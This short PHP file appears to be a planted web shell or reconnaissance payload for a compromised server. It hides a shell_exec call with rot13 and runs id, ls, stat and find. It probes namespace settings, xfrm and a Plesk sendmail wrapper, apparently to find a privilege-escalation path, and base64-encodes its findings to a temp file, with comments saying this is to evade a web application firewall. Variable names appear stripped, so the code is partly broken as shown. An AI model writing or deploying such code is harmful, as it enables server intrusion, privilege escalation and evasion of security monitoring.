<?php
header("Content-Type: text/plain");
=str_rot13("furyy_rkrp");

// Get critical info, base64-encode to hide from WAF
 = [];
["uns"] = trim(@file_get_contents("/proc/sys/user/max_user_namespaces"));
["net"] = trim(@file_get_contents("/proc/sys/user/max_net_namespaces"));
["id"] = trim(("id 2>&1"));
["xfrm"] = trim(("ls /proc/net/xfrm_stat 2>&1"));
["sm_stat"] = trim(("stat /usr/lib64/plesk-9.0/postfix-sendmail-wrapper 2>&1"));
["sm_read"] = strlen(@file_get_contents("/usr/lib64/plesk-9.0/postfix-sendmail-wrapper"));
["sendmail_ln"] = trim(("ls -la /usr/sbin/sendmail 2>&1"));
["unshare_path"] = trim(("which unshare 2>/dev/null || find /sbin /usr/sbin /bin /usr/bin -name unshare 2>/dev/null"));
["mounts_count"] = count(file("/proc/self/mounts"));
// Write to file to avoid WAF on response
 = base64_encode(json_encode());
file_put_contents("/var/tmp/p3_result.txt", );
echo "OK:".strlen();
?>